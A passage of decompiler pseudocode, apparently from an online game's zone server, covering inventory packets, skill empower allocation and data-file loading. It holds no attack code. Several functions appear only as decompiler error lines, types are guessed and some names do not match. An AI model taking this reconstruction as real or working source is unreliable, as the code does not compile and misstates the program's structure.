*ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (00435F60) -------------------------------------------------------- #error "435F60: undefined or illegal type '#740' (funcsize=231)" //----- (00436300) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_StoreInventoryFromServer(void *this, signed int itemlist, int box) { void *v3; // ebp@1 signed int v4; // edi@1 char v5; // al@1 PROTO_ITEMPACKET_TOTAL *v6; // ST10_4@2 char *v7; // ST0C_4@2 PROTO_ITEMPACKET_TOTAL *v8; // ST10_4@4 char *v9; // ST0C_4@4 PROTO_ITEMPACKET_TOTAL *v10; // ST10_4@6 char *v11; // ST0C_4@6 PROTO_ITEMPACKET_TOTAL *v12; // ST10_4@8 char *v13; // ST0C_4@8 int v14; // eax@11 bool v15; // sf@14 char *v16; // esi@15 char v17; // dl@15 int v18; // esi@15 int v19; // eax@16 char v20; // cl@16 int v21; // ebx@16 int v22; // esi@16 int v23; // ebx@18 int v24; // eax@20 char v25; // bl@21 int i; // eax@21 int v27; // edi@22 int v28; // eax@24 int from; // [sp+10h] [bp-28h]@21 ItemBoxIterItem ibii; // [sp+14h] [bp-24h]@9 FunctionEntarance _; // [sp+24h] [bp-14h]@1 unsigned int v32; // [sp+28h] [bp-10h]@26 int v33; // [sp+34h] [bp-4h]@1 v3 = this; _.fe_FunctionCode = (char *)&stru_5AB5B0.maa_TargetSelect.targetlist.mam_Array[1].mts_CharRegnum; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_5AB5B0.maa_TargetSelect.targetlist.mam_Array[1].mts_CharRegnum); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_5AB5B0.maa_TargetSelect.targetlist.mam_Array[1].mts_CharRegnum; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = itemlist; v5 = *(_BYTE *)(itemlist + 1); v33 = 0; if ( v5 & 4 ) { v6 = (PROTO_ITEMPACKET_TOTAL *)(itemlist + 3); v7 = (char *)(itemlist + 2); itemlist = 9; ItemBag::ib_Initializetotal((ItemBag *)v3 + 8884, v7, v6, 9); } else { if ( v5 & 8 ) { v8 = (PROTO_ITEMPACKET_TOTAL *)(itemlist + 3); v9 = (char *)(itemlist + 2); itemlist = 8; ItemBag::ib_Initializetotal((ItemBag *)v3 + 8042, v9, v8, 8); } else { if ( v5 & 0x10 ) { v10 = (PROTO_ITEMPACKET_TOTAL *)(itemlist + 3); v11 = (char *)(itemlist + 2); itemlist = 12; ItemBag::ib_Initializetotal((ItemBag *)v3 + 13207, v11, v10, 12); } else { if ( v5 & 0x20 ) { v12 = (PROTO_ITEMPACKET_TOTAL *)(itemlist + 3); v13 = (char *)(itemlist + 2); itemlist = 15; ItemSmallBag::isb_Initializetotal( (ItemSmallBag *)v3 + 14223, v13, v12, 15); } } } } ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibii.baseclass_0.ibi_itembag = (ItemBag *)((char *)v3 + 35536); ibii.baseclass_0.ibi_Limit = (*(int (**)(void))(*((_DWORD *)v3 + 8884) + 8))(); ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_; LOBYTE(v33) = 1; ibii.baseclass_0.ibi_finger = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&ibii) || ItemBoxIterator::ibi_Next(&ibii.baseclass_0) ) { do { v14 = ((int (__stdcall *)(int))ibii.baseclass_0.ibi_itembag->vfptr->ib_GetInventoryCell)(ibii.baseclass_0.ibi_finger); if ( v14 ) (*(void (__stdcall **)(int))(**(_DWORD **)(v14 + 112) + 64))(v14); } while ( ItemBoxIterator::ibi_Next(&ibii.baseclass_0) ); } v15 = *(_BYTE *)v4 < 0; LOBYTE(v33) = 0; if ( v15 ) { v16 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4167; v17 = v16[4]; v18 = (int)(v16 + 2); *(_BYTE *)(v18 + 1) = itemlist; *(_BYTE *)(v18 + 2) = v17 | 1; if ( (_BYTE)itemlist == 15 ) { v19 = ItemSmallBag::isb_FullBufferItem2Client( (ItemSmallBag *)v3 + 14223, (char *)v18, (PROTO_ITEMPACKET_INFORM *)(v18 + 3), 15); v20 = *(_BYTE *)v18; v21 = v19; LOBYTE(v19) = *(_BYTE *)(v4 + 2); v22 = *(_BYTE *)v18 - (unsigned __int8)v19; if ( v20 != (_BYTE)v19 ) AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_StoreInventoryFromServer : ItemNumber not match", v22); v23 = v21 + 5; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v23) ) { v24 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 760))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v24 + 12))(v24, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_StoreInventoryFromServer : Packet Too Long", v23); } } else { from = 0; v25 = 1; for ( i = CharacterInventory::ci_FillBufferInventoryItem( (CharacterInventory *)((char *)v3 + 32168), (char *)v18, (PROTO_ITEMPACKET_INFORM *)(v18 + 3), (unsigned __int8)itemlist, &from, 8000, 0); i > 0; i = CharacterInventory::ci_FillBufferInventoryItem( (CharacterInventory *)((char *)v3 + 32168), (char *)v18, (PROTO_ITEMPACKET_INFORM *)(v18 + 3), *(_BYTE *)(v18 + 1), &from, 8000, 0) ) { v27 = i + 5; *(_BYTE *)(v18 + 2) ^= (v25 ^ *(_BYTE *)(v18 + 2)) & 1; v25 = 0; if ( ProtocolPacket::pp_SetPacketLen(&gpp, i + 5) ) { v28 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 760))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v28 + 12))(v28, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_StoreInventoryFromServer : Packet Too Long", v27); } } } } --funcallanalizer.fca_stackpoint; v33 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_5AB5B0.maa_TargetSelect.targetlist.mam_Array[1].mts_CharRegnum); __security_check_cookie(v32); } // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5A87E4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (00436610) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { ListEraser eraser; // [sp+0h] [bp-14h]@1 int v2; // [sp+10h] [bp-4h]@1 eraser.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; eraser.le_list = this; v2 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (00436660) -------------------------------------------------------- #error "436660: undefined or illegal type '#325' (funcsize=56)" //----- (00436760) -------------------------------------------------------- #error "436760: undefined or illegal type '#325' (funcsize=211)" //----- (00436A60) -------------------------------------------------------- void __fastcall ShineObjectClass::ShinePlayer::so_SetRegistNumber(AbnormalStateContainer::AbnormalStateElement *this, int regnum, int regnuma) { AbnormalStateContainer::AbnormalStateElement *v3; // edi@1 unsigned int v4; // eax@1 char *v5; // eax@1 __int16 v6; // cx@3 char *v7; // ebp@3 ZoneBaseSession *v8; // eax@5 _BYTE v9[20]; // ST04_20@6 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_5AB5B0.maa_TargetSelect.aggresiveNoLevel.baseclass_0.mta_InstanceTarget.mts_CharRegnum); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_5AB5B0.maa_TargetSelect.aggresiveNoLevel.baseclass_0.mta_InstanceTarget.mts_CharRegnum; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v4; v5 = (char *)&namestring + 256 * v4; *(_DWORD *)v5 = *(_DWORD *)(regnuma + 10); *((_DWORD *)v5 + 1) = *(_DWORD *)(regnuma + 14); *((_DWORD *)v5 + 2) = *(_DWORD *)(regnuma + 18); *((_DWORD *)v5 + 3) = *(_DWORD *)(regnuma + 22); v5[16] = 0; if ( *(_DWORD *)regnuma == -1 || *(_DWORD *)(regnuma + 4) == -1 ) { ((void (__thiscall *)(AbnormalStateContainer::AbnormalStateElement *, signed int, _DWORD, _DWORD))v3->vfptr[33].ase_IsAbstateIconHide)( v3, 1673, 0, 0); } else { ShineObjectClass::ShinePlayer::sp_SpamInitSpamerInfo(v3); v6 = LOWORD(v3->ase_index); *(AbnormalStateContainer::AbnormalStateElementVtbl **)((char *)&v3[4002].vfptr + 1) = *(AbnormalStateContainer::AbnormalStateElementVtbl **)regnuma; *(ABSTATEINDEX *)((char *)&v3[4002].ase_index + 1) = *(_DWORD *)(regnuma + 4); v7 = gpp.pp_Buffer; *((_WORD *)gpp.pp_Buffer + 1) = v6; *((_DWORD *)v7 + 1) = v3->vfptr[19].ase_IndexString(v3); *(_WORD *)v7 = 4124; *((_WORD *)v7 + 4) = *(_WORD *)(regnuma + 8); *(_DWORD *)(v7 + 10) = *(_DWORD *)(regnuma + 10); *(_DWORD *)(v7 + 14) = *(_DWORD *)(regnuma + 14); *(_DWORD *)(v7 + 18) = *(_DWORD *)(regnuma + 18); *(_DWORD *)(v7 + 22) = *(_DWORD *)(regnuma + 22); LOWORD(v3[11142].ase_index) = *((_WORD *)v7 + 4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 26) ) { v8 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v8); } else { AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_5AB5B0.maa_TargetSelect.aggresiveall.baseclass_0.baseclass_0.baseclass_0.mts_SightRange, 26); } v3[8529].ase_index = 0; *(_DWORD *)v9 = 0; *(_QWORD *)&v9[4] = 0i64; *(_QWORD *)&v9[12] = 0i64; std::vector>::resize( (std::vector > *)&v3[8527].ase_index, 0, *(CharaterSkillList::CharSkill *)v9); ShineObjectClass::ShineObject::so_LostSP(v3, (AbnormalStateDictionary::AbState::AbStateStr *)1); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_5AB5B0.maa_TargetSelect.aggresiveNoLevel.baseclass_0.mta_InstanceTarget.mts_CharRegnum); } //----- (00436C20) -------------------------------------------------------- #error "436C20: undefined or illegal type '#325' (funcsize=138)" //----- (00436E00) -------------------------------------------------------- #error "436E00: undefined or illegal type '#325' (funcsize=56)" //----- (00436EE0) -------------------------------------------------------- #error "436EE0: undefined or illegal type '#325' (funcsize=71)" //----- (00437000) -------------------------------------------------------- #error "437000: undefined or illegal type '#325' (funcsize=48)" //----- (004370D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SKILL_EMPOWALLOC_REQ(void *ecx0, int netcmd, int len, __int16 handle) { int v4; // edi@1 __int16 v5; // ax@5 int v6; // ebx@5 int v7; // eax@16 InventoryLocking::InventoryCellLock *v8; // eax@16 int v9; // eax@18 unsigned int v10; // eax@23 int v11; // ebx@23 int v12; // esi@23 PROTO_NC_SKILL_EMPOWALLOC_REQ *v13; // esi@28 char *v14; // ebx@30 int v15; // edx@31 int v16; // eax@31 void *v17; // eax@33 ItemAttributeClassVtbl *v18; // edx@33 void *v19; // esi@33 int v20; // eax@33 __int16 v21; // dx@33 int v22; // eax@34 int v23; // eax@34 int v24; // esi@35 ItemAttributeClass *v25; // edi@35 __int16 v26; // dx@35 char v27; // al@35 int v28; // esi@35 int v29; // edi@35 void *v30; // ST14_4@35 int v31; // eax@35 bool v32; // sf@36 unsigned __int8 v33; // of@36 int v34; // ST20_4@41 char v35; // al@41 ZoneBaseSession *v36; // eax@42 char *v37; // [sp+20h] [bp-FCh]@4 PROTO_NC_SKILL_EMPOWALLOC_REQ *inv; // [sp+30h] [bp-ECh]@5 unsigned int itemnum; // [sp+34h] [bp-E8h]@16 SKILL_EMPOWER empowresult; // [sp+38h] [bp-E4h]@28 char *iac; // [sp+3Ch] [bp-E0h]@17 unsigned int minustotal; // [sp+40h] [bp-DCh]@15 int v43; // [sp+44h] [bp-D8h]@1 ItemAttributeClass *v44; // [sp+48h] [bp-D4h]@32 FunctionEntarance _; // [sp+4Ch] [bp-D0h]@1 ItemBoxIterIdent *v46; // [sp+50h] [bp-CCh]@31 int v47; // [sp+54h] [bp-C8h]@31 int v48; // [sp+58h] [bp-C4h]@31 void *iic; // [sp+5Ch] [bp-C0h]@33 InventoryLocking::UnlockedInventoryIterator uii; // [sp+60h] [bp-BCh]@16 ItemBoxIterIdent ibii; // [sp+6Ch] [bp-B0h]@16 ItemBoxIterIdent this; // [sp+80h] [bp-9Ch]@31 ItemTotalInformation iti; // [sp+94h] [bp-88h]@35 unsigned int cookie; // [sp+108h] [bp-14h]@44 int v55; // [sp+118h] [bp-4h]@1 v4 = (int)ecx0; v43 = (int)ecx0; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_SKILL_EMPOWALLOC_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_EMPOWALLOC_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_SKILL_EMPOWALLOC_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v55 = 0; if ( !(_S6_59 & 1) ) { _S6_59 |= 1u; cmc_11.cmc_AllowMode = 118; atexit(_E7_35); } if ( !((1 << **(_BYTE **)(v4 + 3716)) & cmc_11.cmc_AllowMode) ) { (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v4 + 896))(v4, 2178, 65535); v55 = -1; v37 = "ShineObjectClass::ShinePlayer::sp_NC_SKILL_EMPOWALLOC_REQ"; LABEL_27: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v37); goto LABEL_44; } v5 = *(_WORD *)(netcmd + 4); v6 = netcmd + 2; inv = (PROTO_NC_SKILL_EMPOWALLOC_REQ *)(netcmd + 2); if ( v5 & 0xF && *(_BYTE *)(netcmd + 6) & 0xF || v5 & 0xF0 && *(_BYTE *)(netcmd + 6) & 0xF0 ) { (*(void (__thiscall **)(int, signed int, _DWORD))(*(_DWORD *)v4 + 896))(v4, 2185, *(_WORD *)v6); v55 = -1; LABEL_26: v37 = "ShineObjectClass::ShinePlayer::sp_NC_SKILL_EMPOWALLOC_REQ"; goto LABEL_27; } if ( v5 & 0xF00 && *(_BYTE *)(netcmd + 7) & 0xF || v5 & 0xF000 && *(_WORD *)(netcmd + 6) & 0xF000 ) { (*(void (__thiscall **)(int, signed int, _DWORD))(*(_DWORD *)v4 + 896))(v4, 2185, *(_WORD *)v6); v55 = -1; goto LABEL_26; } minustotal = (*(_WORD *)(netcmd + 6) & 0xF) + ((unsigned int)*(_WORD *)(netcmd + 6) >> 12) + (((unsigned int)*(_WORD *)(netcmd + 6) >> 4) & 0xF) + (((unsigned int)*(_WORD *)(netcmd + 6) >> 8) & 0xF); if ( (signed int)minustotal > 0 ) { itemnum = 0; ItemBoxIterIdent::ItemBoxIterIdent(&ibii, (ItemBag *)(v4 + 35536), ident, (ChargedEffectContainer *)(v4 + 91696)); v7 = *(_DWORD *)v4; LOBYTE(v55) = 1; v8 = (InventoryLocking::InventoryCellLock *)(*(int (__thiscall **)(int))(v7 + 1916))(v4); uii.uii_Iterator = (ItemBoxIterator *)&ibii; uii.uii_LockList = v8; uii.uii_InvenType = 9; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home(&uii) ) { iac = (char *)ItemAttributeClassContainer::operator__(&itmattcontainer, ident); while ( 1 ) { v9 = (**(int (__stdcall ***)(_DWORD))uii.uii_Iterator->ibi_itembag)(uii.uii_Iterator->ibi_finger); itemnum += (*(int (__stdcall **)(int))(*(_DWORD *)iac + 24))(v9 + 8); if ( (signed int)itemnum >= (signed int)minustotal ) break; if ( !InventoryLocking::UnlockedInventoryIterator::uii_Next(&uii) ) goto LABEL_20; } } else { LABEL_20: if ( (signed int)itemnum < (signed int)minustotal ) { (*(void (__thiscall **)(_DWORD, signed int, _DWORD))(*(_DWORD *)v4 + 896))(v4, 2182, *(_WORD *)v6); ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; LABEL_25: v55 = -1; goto LABEL_26; } } LOBYTE(v55) = 0; } v10 = *(_WORD *)(netcmd + 6); v11 = (*(_WORD *)(netcmd + 4) & 0xF) + ((unsigned int)*(_WORD *)(netcmd + 4) >> 12) + (((unsigned int)*(_WORD *)(netcmd + 4) >> 8) & 0xF) + (((unsigned int)*(_WORD *)(netcmd + 4) >> 4) & 0xF) - ((unsigned __int8)v10 >> 4) - ((v10 >> 8) & 0xF) - (v10 >> 12) - (v10 & 0xF); v12 = v11 + CharaterSkillList::csl_EmpowerSummary((CharaterSkillList *)(v4 + 68220)); if ( (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1640))(v4) < v12 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_EMPOWALLOC_REQ : Too many points", v11); (*(void (__thiscall **)(_DWORD, signed int, _DWORD))(*(_DWORD *)v4 + 896))(v4, 2179, inv->skill); goto LABEL_25; } v13 = inv; if ( CharaterSkillList::csl_EmpowerAlloc((CharaterSkillList *)(v4 + 68220), inv, &empowresult) ) { v14 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 18450; *((_DWORD *)v14 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v14 + 1) = *(_WORD *)(v4 + 4); *(_WORD *)(v14 + 15) = empowresult._bf0; *(_WORD *)(v14 + 17) = empowresult._bf0; *(_WORD *)(v14 + 13) = v13->skill; *((_WORD *)v14 + 5) = v13->skill; v14[27] = 0; v14[12] = 0; *(_WORD *)(v14 + 25) = *(_WORD *)(v4 + 57740); iac = 0; if ( (signed int)minustotal > 0 ) { ItemBoxIterIdent::ItemBoxIterIdent(&this, (ItemBag *)(v4 + 35536), ident, (ChargedEffectContainer *)(v4 + 91696)); v15 = *(_DWORD *)v4; LOBYTE(v55) = 2; v16 = (*(int (__thiscall **)(int))(v15 + 1916))(v4); v46 = &this; v47 = v16; v48 = 9; itemnum = 0; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&v46) ) { v44 = ItemAttributeClassContainer::operator__(&itmattcontainer, ident); do { v17 = (void *)(**(int (__stdcall ***)(_DWORD))v46->baseclass_0.ibi_itembag)(v46->baseclass_0.ibi_finger); v18 = v44->vfptr; v19 = v17; iic = v17; v20 = ((int (__stdcall *)(char *))v18->iac_GetLot)((char *)v17 + 8); LOWORD(inv) = (unsigned __int16)inv & 0x3FF | 0x2400; v21 = (unsigned __int16)inv ^ LOWORD(v46->baseclass_0.ibi_finger); itemnum += v20; LOWORD(inv) = v21 & 0x3FF ^ (unsigned __int16)inv; if ( (signed int)itemnum > (signed int)minustotal ) { v14[27] |= 0x80u; memcpy(&iti, v19, 0x6Cu); v24 = (int)((char *)v19 + 108); *(_WORD *)((char *)&iti.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = *(_WORD *)v24; BYTE3(iti.iti_itemstruct.itemattr.binditem.portal[9].y) = *(_BYTE *)(v24 + 2); v25 = v44; v44->vfptr->iac_SetLot(v44, &iti.iti_itemstruct, itemnum - minustotal); *((_WORD *)v14 + 14) = iti.iti_itemstruct.itemid; v26 = (signed __int16)inv; *(_DWORD *)(v14 + 30) = *(_DWORD *)&iti; v27 = v14[27]; *(_DWORD *)(v14 + 34) = iti.iti_registnum.binary._bf4; *((_WORD *)v14 + 20) = v26; v28 = (int)&v14[8 * (v27 & 0x7F) + 42]; v29 = (int)v25->vfptr->iac_fill2buffer(v25, &iti.iti_itemstruct, (char *)v28); v30 = iic; v31 = *(_WORD *)(v14 + 25); *((_WORD *)v14 + 19) = v28 - (_WORD)v14 - 2; (*(void (__thiscall **)(int, int, void *, ItemTotalInformation *, PROTO_NC_SKILL_EMPOWALLOC_REQ **, PROTO_NC_SKILL_EMPOWALLOC_REQ **))(*(_DWORD *)(v43 + 57736) + 48))( v43 + 57736, v31, v30, &iti, &inv, &inv); iac = (char *)(v29 - v28); v4 = v43; } else { v22 = v14[27] & 0x7F; *(_DWORD *)&v14[8 * v22 + 42] = *(_DWORD *)v19; *(_DWORD *)&v14[8 * v22 + 46] = *((_DWORD *)v19 + 1); v23 = *(_WORD *)(v14 + 25); v14[27] ^= (v14[27] ^ (v14[27] + 1)) & 0x7F; (*(void (__thiscall **)(int, int, void *, PROTO_NC_SKILL_EMPOWALLOC_REQ **, PROTO_NC_SKILL_EMPOWALLOC_REQ **))(*(_DWORD *)(v4 + 57736) + 40))( v4 + 57736, v23, v19, &inv, &inv); } v33 = __OFSUB__(itemnum, minustotal); v32 = ((itemnum - minustotal) & 0x80000000u) != 0; v14[12] = 1; } while ( v32 ^ v33 && InventoryLocking::UnlockedInventoryIterator::uii_Next((InventoryLocking::UnlockedInventoryIterator *)&v46) ); } LOBYTE(v55) = 0; this.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; } if ( v14[12] == 1 ) *((_WORD *)v14 + 4) = (*(_WORD *)(v4 + 57740))++; v34 = (int)&iac[8 * (v14[27] & 0x7F) + 42]; v35 = ProtocolPacket::pp_SetPacketLen(&gpp, v34); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v35, "ShineObjectClass::ShinePlayer::sp_NC_SKILL_EMPOW_RESET_REQ : Packet Too Long", v34) ) { v36 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v36); } } else { (*(void (__thiscall **)(_DWORD, signed int, _DWORD))(*(_DWORD *)v4 + 896))(v4, 2180, inv->skill); } v55 = -1; FunctionEntarance::_FunctionEntarance(&_); LABEL_44: __security_check_cookie(cookie); } // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); //----- (00437720) -------------------------------------------------------- #error "437720: undefined or illegal type '#325' (funcsize=85)" //----- (00437860) -------------------------------------------------------- void __thiscall Proto_CharDataStruct::Proto_CharDataStruct(Proto_CharDataStruct *this) { KQRegenTable::Element::Element((KQRegenTable::Element *)&this->pcds_Link2AnotherLayer); } //----- (00437870) -------------------------------------------------------- void __thiscall MemoryQueueElement::MemoryQueueElement(MemoryQueueElement *this) { Proto_CharDataStruct::Proto_CharDataStruct(&this->content); } //----- (00437880) -------------------------------------------------------- void __thiscall DataFromOtherMachineList::DataFromOtherMachineList(DataFromOtherMachineList *this) { DataFromOtherMachineList *v1; // edi@1 char *v2; // esi@1 char *v3; // ebx@1 v1 = this; v2 = (char *)&this->dfoml_Def.pcds_Link2AnotherLayer; v3 = (char *)&this->dfoml_MemoryQueue; *(_QWORD *)&this->dfoml_Def.pcds_Link2AnotherLayer.map.n3_name[4] = 0i64; *(_DWORD *)&this->dfoml_Def.pcds_Link2AnotherLayer.map.n3_name[0] = 0; _eh_vector_constructor_iterator_( &this->dfoml_MemoryQueue, 0x16u, 128, (void (__thiscall *)(void *))MemoryQueueElement::MemoryQueueElement, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); *((_DWORD *)v3 + 705) = 127; *((_DWORD *)v3 + 704) = 0; v1->dfoml_Def.CharRegistNumber = -1; v1->dfoml_Def.pcds_Link2AnotherLayer.layer = 0; *((_DWORD *)v2 + 2) = 0; *((_DWORD *)v2 + 1) = 0; *(_DWORD *)v2 = 0; strncpy(v2, byte_5A62A6, 0xCu); } //----- (004378F0) -------------------------------------------------------- void __thiscall DataFromOtherMachineList::_DataFromOtherMachineList(DataFromOtherMachineList *this) { _eh_vector_destructor_iterator_( &this->dfoml_MemoryQueue, 0x16u, 128, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00437910) -------------------------------------------------------- int __thiscall ChargedItemEffectFinger::cief_GetFinger(ORErrorMessage *this) { return this->orem_Line; } //----- (00437920) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x15D1u, 0x15Au) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (004379D0) -------------------------------------------------------- unsigned __int16 __cdecl RidingInitHungry(unsigned __int16 itmid) { CIDEB_Element *v1; // eax@1 RIDING *v2; // eax@2 unsigned __int16 result; // ax@3 v1 = ChargedItemEffectDataBox::cideb_GetItemID(&ridedatabox, itmid); if ( v1 && (v2 = v1->ce_Data) != 0 ) result = v2->InitHgauge; else result = 0; return result; } //----- (00437A00) -------------------------------------------------------- void __thiscall ChargedItemEffectDataBox::cideb_Load(ChargedItemEffectDataBox *this, char *fname, UseEffect::UseItemBase *uib, SkillDataBox::SkillDataIndex *uie) { ChargedItemEffectDataBox *v4; // edi@1 int v5; // eax@1 unsigned int v6; // esi@1 void *v7; // ebx@3 unsigned int v8; // eax@8 int i; // ebx@13 CIDEB_Element *v10; // eax@14 unsigned __int16 v11; // cx@14 unsigned __int16 v12; // ax@18 int v13; // ebp@19 unsigned __int16 v14; // cx@21 v4 = this; BinaryDataBox::bdb_ReadData(&this->baseclass_0, fname); v5 = v4->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v4->cideb_Total = v5; v4->cideb_Array = (CIDEB_Element *)operator new__(8 * v5); v6 = 0; if ( v4->cideb_Total > 0 ) { while ( 1 ) { if ( v6 < v4->baseclass_0.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v7 = CDataReader::GetRecord(&v4->baseclass_0.baseclass_0.baseclass_0, v6); else v7 = &v4->baseclass_0.bdb_defaultblock; if ( !v7 ) { AssertClass::ac_AssertFail(&shineassert, "ChargedItemEffectDataBox::cideb_Load : Null argument", v6); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } v8 = BTree::operator__(&stru_125739F0, (const char *)v7 + 2); if ( v8 == -1 ) LOWORD(v8) = -1; v4->cideb_Array[v6].ce_ItemID = v8; v4->cideb_Array[v6].ce_Data = (RIDING *)v7; if ( v4->cideb_Array[v6].ce_ItemID == -1 ) { AssertClass::ac_AssertFail( &shineassert, "ChargedItemEffectDataBox::cideb_Load : Invalid item", (const char *)v7 + 2); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } for ( i = 0; i < (signed int)(v6 - 1); ++i ) { v10 = v4->cideb_Array; v11 = v10[i].ce_Data->Handle; if ( v11 == v10[v6].ce_Data->Handle ) { AssertClass::ac_AssertFail(&shineassert, "ChargedItemEffectDataBox::cideb_Load : Same Handle", v11); ShineExit("ChargedItemEffectDataBox::cideb_Load"); } } v12 = v4->cideb_Array[v6].ce_ItemID; if ( v12 >= (unsigned int)dword_125739EC || (v13 = dword_12574188 + 28 * v12) == 0 || !*(_DWORD *)v13 ) goto LABEL_23; v14 = **(_WORD **)v13; if ( v14 != v12 ) break; LABEL_24: if ( *(_DWORD *)(*(_DWORD *)v13 + 102) != 27 ) UseEffect::UsedItemEffect::uie_SetChargedBuffer(&useditemeffect, v4->cideb_Array[v6].ce_ItemID, uib, uie); ++v6; if ( (signed int)v6 >= v4->cideb_Total ) return; } AssertClass::ac_AssertFail(&shineassert, "ItemDataBox::operator [] :Invalid Item index", v14 + 10000 * v12); LABEL_23: v13 = 0; goto LABEL_24; } } // 125739EC: using guessed type int dword_125739EC; // 12574188: using guessed type int dword_12574188; //----- (00437BE0) -------------------------------------------------------- void __thiscall ChargedItemEffectDataBox::ChargedItemEffectDataBox(ChargedItemEffectDataBox *this) { ChargedItemEffectDataBox *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->baseclass_0.baseclass_0); memset((void *)&v1->baseclass_0.bdb_defaultblock, 0, 0x28u); v1->baseclass_0.bdb_defaultblock.EffectValue = 0; v1->baseclass_0.bdb_defaultblock.StaStrength = 0; v1->cideb_Array = 0; } //----- (00437C10) -------------------------------------------------------- void __thiscall ChargedItemEffectDataBox::_ChargedItemEffectDataBox(ChargedItemEffectDataBox *this) { BinaryData *v1; // esi@1 v1 = (BinaryData *)this; if ( this->cideb_Array ) operator delete(this->cideb_Array); CCharacterTitleData::_CCharacterTitleData(v1); } //----- (00437C30) -------------------------------------------------------- void __thiscall ChargedItemEffectDataBox::ChargedItemEffectDataBox(ChargedItemEffectDataBox *this) { ChargedItemEffectDataBox *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->baseclass_0.baseclass_0); memset(&v1->baseclass_0.bdb_defaultblock, 0, 0x5Cu); v1->baseclass_0.bdb_defaultblock.Casting = 0; v1->baseclass_0.bdb_defaultblock.Slot = 0; v1->cideb_Array = 0; } //----- (00437C60) -------------------------------------------------------- void __thiscall 